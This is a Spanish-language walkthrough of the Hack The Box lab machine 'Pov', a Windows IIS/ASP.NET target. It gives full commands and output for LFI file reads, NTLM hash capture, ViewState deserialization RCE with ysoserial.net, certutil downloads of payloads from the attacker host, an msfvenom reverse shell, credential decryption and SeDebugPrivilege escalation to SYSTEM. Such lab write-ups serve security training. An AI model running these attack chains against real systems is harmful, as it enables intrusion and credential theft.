Descripción

Pov es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de subdominios
  • Inclusión de archivos locales en aplicación ASP.NET
  • Ejecución remota de comandos utilizando el parámetro VIEWSTATE en ASP.NET
  • Exposición de datos sensibles (creenciales de otro usuario) en formato PowerShell
  • Escalada de privilegios mediante el privilegio SeDebugPrivilege

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.231.64.

$ ping -c 3 10.129.231.64
PING 10.129.231.64 (10.129.231.64) 56(84) bytes of data.
64 bytes from 10.129.231.64: icmp_seq=1 ttl=127 time=95.5 ms
64 bytes from 10.129.231.64: icmp_seq=2 ttl=127 time=53.0 ms
64 bytes from 10.129.231.64: icmp_seq=3 ttl=127 time=75.1 ms

--- 10.129.231.64 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 52.970/74.506/95.477/17.358 ms

La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.231.64 -sS -p- -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.231.64
Host is up (0.087s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 318.33 seconds

Tenemos un puerto abierto, el 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.231.64 -sV -sC -p80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.231.64
Host is up (0.10s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: pov.htb
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.07 seconds

Conseguimos un servicio: Hypertext Transfer Protocol (HTTP). Añadimos el dominio, pov.htb a nuestro archivo /etc/hosts.

$ echo "10.129.231.64 pov.htb" | sudo tee -a /etc/hosts

Si echamos un vistazo al sitio web en el navegador web, encontramos una página de muestra sin ninguna funcionalidad. Así que nos moveremos para enumerar el subdominio presente en el servidor web.

$ gobuster vhost -u pov.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhost_enumeration
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://pov.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.pov.htb Status: 302 [Size: 152] [--> http://dev.pov.htb/portfolio/]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

Encontramos un subdominio, dev, así que actualizamos el archivo hosts.

$ echo "10.129.231.64 dev.pov.htb" | sudo tee -a /etc/hosts

En este subdominio encontramos una página web de un perfil. Con la herramienta WhatWeb podemos encontrar que el servidor que funciona es Microsoft-IIS/10.0. Este servidor está ejecutando un ASP.NET ASP_NET[4.0.30319].

$ whatweb --log-brief web_techs dev.pov.htb                                                  
http://dev.pov.htb [302 Found] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.129.231.64], Microsoft-IIS[10.0], RedirectLocation[http://dev.pov.htb/portfolio/], Title[Document Moved], X-Powered-By[ASP.NET]
http://dev.pov.htb/portfolio/ [200 OK] ASP_NET[4.0.30319], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.231.64], JQuery[3.4.1], Meta-Author[Devcrud], Microsoft-IIS[10.0], Script, Title[dev.pov.htb], X-Powered-By[ASP.NET]

En la página web tenemos la capacidad de descargar un CV en formato PDF y la capacidad de contactar al propietario enviando un mensaje a través de un formulario de contacto. Podemos interceptar la respuesta con Burp Suite al descargar el CV y enviarlo al Repeater. Encontramos 6 parámetros del cuerpo de solicitud. El parámetro file podría ser vulnerable a un Path Traversal o a un LFI. Vamos a pasar al Intruder y vamos a forzar el parámetro con el diccionario iisfinal.txt. Conseguimos una respuesta exitosa, con el archivo Default.aspx.

Explotación

Obtenemos el código fuente del archivo Default.aspx y Contact.aspx. Este archivo contiene el código fuente de la página. Se refiere a un archivo de código fuente index.aspx.cs. Si recuperamos este archivo podemos confirmar que la aplicación es vulnerable a un LFI pero no a un Path Traversal ya que está eliminando la cadena ../ pero es vulnerable usando ..\. Podemos comprobar esto recuperando un archivo del sistema de Windows, C:\Windows\win.ini. Lo logramos con éxito. Como tenemos control completo para acceder a los archivos con el parámetro file vamos a tratar de interceptar el hash NTLM del usuario conectado en el servidor mediante el uso de Responder e ingresar nuestra dirección IP en el parámetro file como \\10.10.14.30\test.

$ sudo responder -I tun0
[+] Listening for events...                                                                                                                                 

[SMB] NTLMv2-SSP Client   : 10.129.231.64
[SMB] NTLMv2-SSP Username : POV\sfitz
[SMB] NTLMv2-SSP Hash     : sfitz::POV:d2994f05aeae3dc3:11D3D3E83C484463BAEFDCA1758182EC:010100000000000000FB39D46451DA01DF6A8F17FD7358FB0000000002000800590058004F00300001001E00570049004E002D005200410039004600300042004A00550033004300460004003400570049004E002D005200410039004600300042004A0055003300430046002E00590058004F0030002E004C004F00430041004C0003001400590058004F0030002E004C004F00430041004C0005001400590058004F0030002E004C004F00430041004C000700080000FB39D46451DA010600040002000000080030003000000000000000000000000020000092085DE9AAB3BEF09E5099DC4C37DBBAB73F3C94C9900E4F17E745C7B62315570A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00330030000000000000000000

Conseguimos un hash el usuario de sfitz en la máquina POV. Si tratamos de romperlo no conseguiremos ningún resultado. Con más enumeración podemos encontrar el archivo de configuración web.config en el directorio ..\. Obtuvimos el machineKey que cifra los parámetros de las solicitudes, como __VIEWSTATE.

<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />

Con esta clave podemos lograr ejecución remota de comandos utilizando ysoserial.net. Como esta es una herramienta de Windows necesitaremos utilizar una máquina de Windows o bien utilizar Wine. La herramienta creará una cadena codificada con Base64 que se pegará en el parámetro anterior __VIEWSTATE. Deduciendo, vamos a establecer el parámetro --apppath a / y el parámetro --path a /portfolio/default.aspx.

$ wine ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping 10.10.14.30" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" > string

Después de enviar la solicitud recibiremos el comando ping de vuelta, por lo que cambiaremos la carga útil para crear una terminal inversa.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.30] from (UNKNOWN) [10.129.231.64] 49673
whoami
pov\sfitz

Recibimos la terminal inversa.

Post-Explotación

Como vemos estamos conectados como el usuario de sfitz, del cual hemos obtenido el hash antes. Encontramos otro usuario en el sistema, alaading.

PS C:\windows\system32\inetsrv> net users

User accounts for \\POV

-------------------------------------------------------------------------------
Administrator            alaading                 DefaultAccount           
Guest                    sfitz                    WDAGUtilityAccount       
The command completed successfully.

Enumerando los archivos de la carpeta personal de sfitz encontramos las credenciales codificadas para el usuario alaading, en la ruta C:\Users\sfitz\Documents\connection.xml.

PS C:\windows\system32\inetsrv> cd C:\Users\sfitz\Documents
PS C:\Users\sfitz\Documents> dir
    Directory: C:\Users\sfitz\Documents

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       12/25/2023   2:26 PM           1838 connection.xml                                                        
PS C:\Users\sfitz\Documents> type connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>

Podemos decodificarla.

PS C:\Users\sfitz\Documents> $cred = Import-CliXml -Path connection.xml; $cred.GetNetworkCredential() | Format-List *


UserName       : alaading
Password       : f8gQ8fynP44ek1m3
SecurePassword : System.Security.SecureString
Domain         :

Encontramos la contraseña f8gQ8fynP44ek1m3 para el usuario alaading.

PS C:\Users\sfitz\documents> Invoke-Command -Computer pov -ScriptBlock { whoami } -Credential $cred
pov\alaading

Podemos ejecutar comandos como el usuario alaading usando la herramienta RunasCs. Enumerando los privilegios, encontramos uno interesante, SeDebugPrivilege.

PS C:\windows\system32\inetsrv> cd C:\Users\sfitz\documents
PS C:\Users\sfitz\documents> mkdir c:\Temp
PS C:\Users\sfitz\documents> cd C:\Temp
PS C:\Temp> certutil.exe -urlcache -f http://10.10.14.30/RunasCs.exe RunasCs.exe
PS C:\a> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 "powershell whoami /priv"
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State   
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Enabled 
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Con este privilegio podemos generar procesos con un ID de proceso padre personalizado. Para esta tarea vamos a utilizar el comando migrate de la terminal inversa meterpreter de Metasploit. Primero creamos la carga útil de Meterpreter usando msfvenom.

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.30 LPORT=1236 -f exe > exec.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes

Luego abrimos el puerto de escucha usando el comando msfconsole.

$ msfconsole
msf6 > use multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 10.10.14.30
msf6 > set lport 1236
msf6 > run

Después de eso descargamos la terminal Meterpreter en el sistema remoto y la ejecutamos.

PS C:\temp> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 "powershell certutil.exe -urlcache -f http://10.10.14.30/exec.exe C:\Temp\exec.exe"
PS C:\temp> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 "powershell C:\Temp\exec.exe"

Después de obtener la terminal de Meterpreter obtendremos el ID del proceso winlogon.exe y luego nos migraremos a él. Después de eso, tendremos privilegios de NT AUTHORTY\SYSTEM.

[*] Meterpreter session 42 opened (10.10.14.30:1236 -> 10.129.231.64:49740)
meterpreter > getuid
Server username: POV\alaading
meterpreter > migrate 540
[*] Migrating from 1736 to 540...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

meterpreter > shell
Process 2228 created.
Channel 2 created.
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type C:\Users\alaading\Desktop\user.txt
type C:\Users\alaading\Desktop\user.txt
<REDACTED>

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
<REDACTED>